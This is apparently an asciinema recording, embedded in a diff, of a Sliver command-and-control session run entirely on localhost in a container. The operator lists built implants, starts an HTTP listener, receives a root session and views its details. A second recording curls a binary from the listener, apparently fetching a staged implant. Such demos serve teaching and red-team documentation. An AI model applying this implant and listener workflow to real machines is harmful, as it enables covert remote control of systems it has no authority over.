[28.453419, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[28.554095, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[28.656409, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[28.757146, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[28.85769, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[28.958292, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[29.058872, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[29.159389, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[29.263979, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[29.364603, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[29.469129, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[29.570605, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[29.67439, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[29.775243, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[29.875856, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[29.976192, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[30.053071, "o", "\r\u001b[2K"]
|
||||
[30.053967, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBuild completed in 14s\r\n"]
|
||||
[30.067739, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mImplant saved to /root/CURRENT_RESIST\r\n"]
|
||||
[30.067862, "o", "\r\n"]
|
||||
[30.076528, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[30.077096, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[30.079221, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[9D\u001b[9C\u001b[133D\u001b[9C\u001b[?25h"]
|
||||
[31.082554, "o", "\u001b[?25l"]
|
||||
[31.098384, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[31.099203, "o", "\u001b[6n"]
|
||||
[31.102798, "o", "i\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[10D\u001b[9C"]
|
||||
[31.105621, "o", "\u001b[133D\u001b[10C\u001b[?25h"]
|
||||
[31.147416, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[31.147602, "o", "\u001b[6n"]
|
||||
[31.150768, "o", "im\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[11D\u001b[9C\u001b[133D\u001b[11C\u001b[?25h"]
|
||||
[31.400583, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[31.407162, "o", "imp\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[12D\u001b[9C\u001b[133D\u001b[12C\u001b[?25h"]
|
||||
[31.439883, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[31.441738, "o", "\u001b[6n"]
|
||||
[31.446467, "o", "impl\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[13D\u001b[9C\u001b[133D\u001b[13C\u001b[?25h"]
|
||||
[31.583396, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[31.601804, "o", "impla\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[31.603767, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[14D\u001b[9C\u001b[133D\u001b[14C\u001b[?25h"]
|
||||
[31.806544, "o", "\u001b[?25l"]
|
||||
[31.80929, "o", "\u001b[133D"]
|
||||
[31.810004, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[31.816866, "o", "implan\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[31.817852, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[15D\u001b[9C\u001b[133D\u001b[15C\u001b[?25h"]
|
||||
[32.008794, "o", "\u001b[?25l\u001b[133D"]
|
||||
[32.009806, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[32.013126, "o", "implant\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[32.013454, "o", "\u001b[133D\u001b[1A\u001b[16D\u001b[9C\u001b[133D\u001b[16C\u001b[?25h"]
|
||||
[32.104441, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[32.111943, "o", "\u001b[1m\u001b[32mimplants\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[32.112485, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[17D\u001b[9C\u001b[133D\u001b[17C\u001b[?25h"]
|
||||
[32.356544, "o", "\u001b[17D\u001b[9C\u001b[6n"]
|
||||
[32.369004, "o", "\u001b[133D\u001b[17C\u001b[0J\u001b[133D\r\r\n"]
|
||||
[32.370271, "o", "\u001b[0 q\r\n"]
|
||||
[32.421383, "o", " Name Implant Type Template OS/Arch Format Command & Control Debug C2 Config ID Stage \r\n================ ============== ========== ============= ============ ======================= ======= =========== ======= =======\r\n ABSENT_CASE session sliver linux/amd64 EXECUTABLE [1] https://localhost true default 19437 false \r\n CURRENT_RESIST session sliver linux/amd64 EXECUTABLE [1] https://localhost true default 14578 false \r\n"]
|
||||
[32.421644, "o", "\r\n\r\n\r\n"]
|
||||
[32.438623, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[32.439156, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[32.439495, "o", "\u001b[6n"]
|
||||
[32.441422, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[9D\u001b[9C\u001b[133D\u001b[9C\u001b[?25h"]
|
||||
[36.663526, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[36.669535, "o", "\u001b[6n"]
|
||||
[36.672998, "o", "h\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[10D\u001b[9C\u001b[133D\u001b[10C\u001b[?25h"]
|
||||
[36.873517, "o", "\u001b[?25l"]
|
||||
[36.875463, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[36.880165, "o", "ht\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[11D\u001b[9C\u001b[133D\u001b[11C\u001b[?25h"]
|
||||
[37.047884, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[37.053712, "o", "htt\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[37.054317, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[12D\u001b[9C\u001b[133D\u001b[12C\u001b[?25h"]
|
||||
[37.134322, "o", "\u001b[?25l"]
|
||||
[37.136007, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[37.140393, "o", "\u001b[1m\u001b[32mhttp\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[37.141529, "o", "\u001b[133D\u001b[1A\u001b[13D\u001b[9C\u001b[133D\u001b[13C\u001b[?25h"]
|
||||
[37.55059, "o", "\u001b[13D\u001b[9C\u001b[6n"]
|
||||
[37.562464, "o", "\u001b[133D\u001b[13C\u001b[0J\u001b[133D\r\r\n"]
|
||||
[37.563375, "o", "\u001b[0 q"]
|
||||
[37.564303, "o", "\r\n"]
|
||||
[37.576347, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mStarting HTTP :80 listener ...\r\n"]
|
||||
[38.977973, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mSuccessfully started job #1\r\n"]
|
||||
[38.97936, "o", "\r\n"]
|
||||
[38.987122, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[38.987676, "o", "\u001b[6n"]
|
||||
[38.989198, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D"]
|
||||
[38.989573, "o", "\u001b[1A\u001b[9D\u001b[9C\u001b[133D\u001b[9C\u001b[?25h"]
|
||||
[40.426627, "o", "\u001b[?25l"]
|
||||
[40.428614, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[40.436657, "o", "j\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[10D\u001b[9C\u001b[133D\u001b[10C\u001b[?25h"]
|
||||
[40.558498, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[40.563147, "o", "\u001b[6n"]
|
||||
[40.568809, "o", "jo\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[11D\u001b[9C\u001b[133D\u001b[11C\u001b[?25h"]
|
||||
[40.683903, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[40.693959, "o", "job\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[40.6944, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[12D\u001b[9C\u001b[133D\u001b[12C\u001b[?25h"]
|
||||
[40.820439, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[40.838956, "o", "\u001b[1m\u001b[32mjobs\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[13D\u001b[9C\u001b[133D\u001b[13C\u001b[?25h"]
|
||||
[41.050519, "o", "\u001b[13D\u001b[9C"]
|
||||
[41.052424, "o", "\u001b[6n"]
|
||||
[41.05543, "o", "\u001b[133D\u001b[13C\u001b[0J\u001b[133D"]
|
||||
[41.056888, "o", "\r\r\n"]
|
||||
[41.065261, "o", "\u001b[0 q\r\n"]
|
||||
[41.068263, "o", " ID Name Protocol Port Domains \r\n==== ====== ========== ====== =========\r\n 1 http tcp 80 \r\n\r\n"]
|
||||
[41.082206, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[41.083159, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[41.085101, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[9D\u001b[9C\u001b[133D\u001b[9C\u001b[?25h"]
|
||||
[46.576392, "o", "\u001b[9D\u001b[9C\u001b[133D\u001b[0J\r\u001b[2K\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mSession aab17db4 CURRENT_RESIST - 127.0.0.1:57018 (98df0494f659) - linux/amd64 - Wed, 01 May 2024 12:50:22 UTC\r\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[46.577027, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[46.58099, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[9D\u001b[9C\u001b[133D\u001b[9C\u001b[?25h"]
|
||||
[49.50731, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[49.522489, "o", "s\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A"]
|
||||
[49.524699, "o", "\u001b[10D\u001b[9C\u001b[133D\u001b[10C\u001b[?25h"]
|
||||
[49.56783, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[49.569706, "o", "\u001b[6n"]
|
||||
[49.575356, "o", "se\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[49.575726, "o", "\u001b[133D\u001b[1A\u001b[11D\u001b[9C\u001b[133D\u001b[11C\u001b[?25h"]
|
||||
[49.732625, "o", "\u001b[?25l"]
|
||||
[49.740645, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[49.746465, "o", "ses\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[12D\u001b[9C\u001b[133D\u001b[12C\u001b[?25h"]
|
||||
[49.965551, "o", "\u001b[1 q"]
|
||||
[50.00575, "o", "\u001b[1 q\u001b[?25l"]
|
||||
[50.006394, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[50.00946, "o", "\u001b[1m\u001b[32msessions \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[18D\u001b[9C\u001b[133D\u001b[18C\u001b[?25h"]
|
||||
[50.477529, "o", "\u001b[18D\u001b[9C"]
|
||||
[50.479615, "o", "\u001b[6n"]
|
||||
[50.48143, "o", "\u001b[133D"]
|
||||
[50.482245, "o", "\u001b[18C\u001b[0J\u001b[133D\r\r\n"]
|
||||
[50.483253, "o", "\u001b[0 q\r\n"]
|
||||
[50.506415, "o", " ID Transport Remote Address Hostname Username Operating System Health \r\n========== =========== ================= ============== ========== ================== =========\r\n \u001b[0maab17db4\u001b[0m \u001b[0mhttp(s)\u001b[0m \u001b[0m127.0.0.1:57018\u001b[0m \u001b[0m98df0494f659\u001b[0m \u001b[0mroot\u001b[0m \u001b[0mlinux/amd64\u001b[0m \u001b[1m\u001b[32m[ALIVE]\u001b[0m \r\n"]
|
||||
[50.507289, "o", "\r\n"]
|
||||
[50.518471, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[50.518701, "o", "\u001b[1 q"]
|
||||
[50.519867, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[50.52356, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[9D\u001b[9C\u001b[133D\u001b[9C\u001b[?25h"]
|
||||
[51.361832, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[51.373437, "o", "\u001b[6n"]
|
||||
[51.378676, "o", "u\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[51.380281, "o", "\u001b[133D\u001b[1A\u001b[10D\u001b[9C\u001b[133D\u001b[10C\u001b[?25h"]
|
||||
[51.561476, "o", "\u001b[?25l"]
|
||||
[51.563647, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[51.566598, "o", "us\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[11D\u001b[9C\u001b[133D\u001b[11C\u001b[?25h"]
|
||||
[51.652895, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[51.659765, "o", "\u001b[1m\u001b[32muse\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[51.660431, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[12D\u001b[9C\u001b[133D\u001b[12C\u001b[?25h"]
|
||||
[51.744435, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[51.752027, "o", "\u001b[1m\u001b[32muse \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[51.754754, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[13D\u001b[9C\u001b[133D\u001b[13C\u001b[?25h"]
|
||||
[52.069917, "o", "\u001b[13D\u001b[9C"]
|
||||
[52.070633, "o", "\u001b[6n"]
|
||||
[52.072503, "o", "\u001b[133D\u001b[13C\u001b[0J\u001b[133D\r\r\n"]
|
||||
[52.072574, "o", "\u001b[0 q"]
|
||||
[52.072962, "o", "\r\n"]
|
||||
[52.085557, "o", "\u001b7\u001b[?25l"]
|
||||
[52.08598, "o", "\u001b8\u001b[0G\u001b[2K"]
|
||||
[52.090815, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;1;36m> SESSION aab17db4 CURRENT_RESIST 127.0.0.1:57018 98df0494f659 root linux/amd64\u001b[0m\r\n"]
|
||||
[52.090951, "o", "\u001b7"]
|
||||
[52.093491, "o", "\u001b[1A\u001b[0G"]
|
||||
[52.693655, "o", "\u001b8"]
|
||||
[52.694191, "o", "\u001b[?25h\u001b8"]
|
||||
[52.695289, "o", "\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
|
||||
[52.695799, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m\u001b[0;36m SESSION aab17db4 CURRENT_RESIST 127.0.0.1:57018 98df0494f659 root linux/amd64\u001b[0m\r\n"]
|
||||
[52.6964, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mActive session CURRENT_RESIST (aab17db4-0e6f-4e7f-a3e1-11ab464b708b)\r\n"]
|
||||
[52.738705, "o", "\r\n"]
|
||||
[52.751338, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[52.751906, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[52.754246, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[26D\u001b[26C\u001b[133D\u001b[26C\u001b[?25h"]
|
||||
[54.797821, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[54.815698, "o", "i\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D"]
|
||||
[54.817569, "o", "\u001b[1A\u001b[27D\u001b[26C\u001b[133D\u001b[27C\u001b[?25h"]
|
||||
[54.890283, "o", "\u001b[?25l\u001b[133D"]
|
||||
[54.892394, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[54.897915, "o", "in\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[28D\u001b[26C\u001b[133D\u001b[28C\u001b[?25h"]
|
||||
[54.970773, "o", "\u001b[?25l"]
|
||||
[54.973705, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[54.979868, "o", "inf\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[54.981652, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[29D\u001b[26C\u001b[133D\u001b[29C\u001b[?25h"]
|
||||
[55.118476, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[55.125875, "o", "\u001b[1m\u001b[32minfo\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A"]
|
||||
[55.129592, "o", "\u001b[30D\u001b[26C\u001b[133D\u001b[30C\u001b[?25h"]
|
||||
[55.74862, "o", "\u001b[30D\u001b[26C\u001b[6n"]
|
||||
[55.753894, "o", "\u001b[133D\u001b[30C\u001b[0J\u001b[133D\r\r\n"]
|
||||
[55.755495, "o", "\u001b[0 q\r\n"]
|
||||
[55.779941, "o", "\u001b[1m Session ID: \u001b[0maab17db4-0e6f-4e7f-a3e1-11ab464b708b\r\n\u001b[1m Name: \u001b[0mCURRENT_RESIST\r\n\u001b[1m Hostname: \u001b[0m98df0494f659\r\n\u001b[1m UUID: \u001b[0m3424b72e-e104-e99b-e183-dc60a7b751a0\r\n"]
|
||||
[55.781949, "o", "\u001b[1m Username: \u001b[0mroot\r\n\u001b[1m UID: \u001b[0m0\r\n\u001b[1m GID: \u001b[0m0\r\n\u001b[1m PID: \u001b[0m7111\r\n\u001b[1m OS: \u001b[0mlinux\r\n"]
|
||||
[55.783289, "o", "\u001b[1m Version: \u001b[0mLinux 98df0494f659 5.10.76-linuxkit\r\n\u001b[1m Locale: \u001b[0m\r\n\u001b[1m Arch: \u001b[0mamd64\r\n\u001b[1m Active C2: \u001b[0mhttps://localhost\r\n\u001b[1m Remote Address: \u001b[0m127.0.0.1:57018\r\n\u001b[1m Proxy URL: \u001b[0m\r\n\u001b[1mReconnect Interval: \u001b[0m1m0s\r\n"]
|
||||
[55.784979, "o", "\u001b[1m First Contact: \u001b[0mWed May 1 12:50:22 UTC 2024 (10s ago)\r\n"]
|
||||
[55.786374, "o", "\u001b[1m Last Checkin: \u001b[0mWed May 1 12:50:29 UTC 2024 (3s ago)\r\n\r\n"]
|
||||
[55.803524, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[55.804204, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[55.804811, "o", "\u001b[6n"]
|
||||
[55.806807, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[55.807933, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[26D\u001b[26C\u001b[133D\u001b[26C\u001b[?25h"]
|
||||
[60.226139, "o", "\u001b[26D\u001b[26C\u001b[6n"]
|
||||
[60.234569, "o", "\u001b[133D\u001b[26C\u001b[0J\u001b[133D\r\r\n"]
|
||||
[60.236034, "o", "\u001b[0 q\r\n"]
|
||||
[60.257361, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBackground ...\r\n"]
|
||||
[60.258157, "o", "\r\n"]
|
||||
[60.283122, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[60.283361, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[60.285647, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[60.286101, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[9D\u001b[9C\u001b[133D\u001b[9C\u001b[?25h"]
|
||||
[60.958386, "o", "\u001b[9D\u001b[9C\u001b[6n"]
|
||||
[60.960274, "o", "\u001b[133D\u001b[9C\u001b[0J\u001b[133D\r\r\n"]
|
||||
[60.961258, "o", "\u001b[0 q\r\n\r\n"]
|
||||
[60.973846, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[60.974441, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[60.97641, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[60.977183, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[9D\u001b[9C\u001b[133D\u001b[9C\u001b[?25h"]
|
||||
[62.494268, "o", "\u001b[?25l"]
|
||||
[62.506593, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[62.511467, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[62.513956, "o", "\u001b[133D\u001b[1A\u001b[10D\u001b[9C\u001b[133D\u001b[10C\u001b[?25h"]
|
||||
[62.664344, "o", "\u001b[?25l"]
|
||||
[62.671862, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[62.675959, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[62.676128, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[11D\u001b[9C\u001b[133D\u001b[11C\u001b[?25h"]
|
||||
[62.771812, "o", "\u001b[?25l\u001b[133D"]
|
||||
[62.773939, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[62.776462, "o", "exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[12D\u001b[9C"]
|
||||
[62.77694, "o", "\u001b[133D\u001b[12C\u001b[?25h"]
|
||||
[62.885393, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[62.886287, "o", "\u001b[6n"]
|
||||
[62.889137, "o", "\u001b[1m\u001b[32mexit\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[13D\u001b[9C\u001b[133D\u001b[13C\u001b[?25h"]
|
||||
[63.035285, "o", "\u001b[13D\u001b[9C\u001b[6n"]
|
||||
[63.041412, "o", "\u001b[133D\u001b[13C\u001b[0J\u001b[133D\r\r\n"]
|
||||
[63.044405, "o", "\u001b[0 q\r\n"]
|
||||
[63.070815, "o", "Exiting...\r\n"]
|
||||
[63.098434, "o", "\u001b[?2004hroot@98df0494f659:~# "]
|
||||
[63.697379, "o", "\u001b[?2004l\r\r\n"]
|
||||
[63.699022, "o", "exit\r\n"]
|
||||
@@ -0,0 +1,88 @@
|
||||
{"version": 2, "width": 106, "height": 52, "timestamp": 1714672697, "env": {"SHELL": "/bin/bash", "TERM": "screen"}}
|
||||
[0.14168, "o", "\u001b[?2004h"]
|
||||
[0.149902, "o", "root@98df0494f659:~# "]
|
||||
[1.00337, "o", "c"]
|
||||
[1.088698, "o", "u"]
|
||||
[1.219285, "o", "r"]
|
||||
[1.353956, "o", "l"]
|
||||
[1.520629, "o", " "]
|
||||
[1.810089, "o", "h"]
|
||||
[1.943522, "o", "t"]
|
||||
[2.085822, "o", "t"]
|
||||
[2.183263, "o", "p"]
|
||||
[2.714314, "o", ":"]
|
||||
[2.991856, "o", "/"]
|
||||
[3.113514, "o", "/"]
|
||||
[3.40613, "o", "l"]
|
||||
[3.639895, "o", "o"]
|
||||
[3.763378, "o", "c"]
|
||||
[3.818227, "o", "a"]
|
||||
[3.901598, "o", "l"]
|
||||
[4.098185, "o", "h"]
|
||||
[4.169684, "o", "o"]
|
||||
[4.437642, "o", "s"]
|
||||
[4.567389, "o", "t"]
|
||||
[4.992099, "o", "/"]
|
||||
[6.556535, "o", "h"]
|
||||
[6.685184, "o", "e"]
|
||||
[6.791546, "o", "l"]
|
||||
[6.965007, "o", "l"]
|
||||
[7.19011, "o", "o"]
|
||||
[8.025322, "o", "."]
|
||||
[8.620806, "o", "y"]
|
||||
[9.035824, "o", "m"]
|
||||
[9.546472, "o", "l"]
|
||||
[10.726299, "o", "?"]
|
||||
[11.19839, "o", "z"]
|
||||
[11.65921, "o", "="]
|
||||
[13.029521, "o", "1"]
|
||||
[13.43651, "o", "9"]
|
||||
[13.793109, "o", "7"]
|
||||
[13.949113, "o", "7"]
|
||||
[14.128955, "o", "8"]
|
||||
[14.900212, "o", "\r\n\u001b[?2004l\r"]
|
||||
[15.009931, "o", "Warning: "]
|
||||
[15.010494, "o", "Binary output can mess up your terminal. Use \"--output -\" to tell \r\nWarning: curl to output it to your terminal anyway, or consider \"--output \r\nWarning: <FILE>\" to save to a file.\r\n"]
|
||||
[15.021725, "o", "\u001b[?2004h"]
|
||||
[15.021852, "o", "root@98df0494f659:~# "]
|
||||
[16.959808, "o", "curl http://localhost/hello.yml?z=19778"]
|
||||
[17.486287, "o", "\b"]
|
||||
[17.619754, "o", "\b"]
|
||||
[18.277424, "o", "a78\b\b"]
|
||||
[18.280088, "o", "l78\b\b"]
|
||||
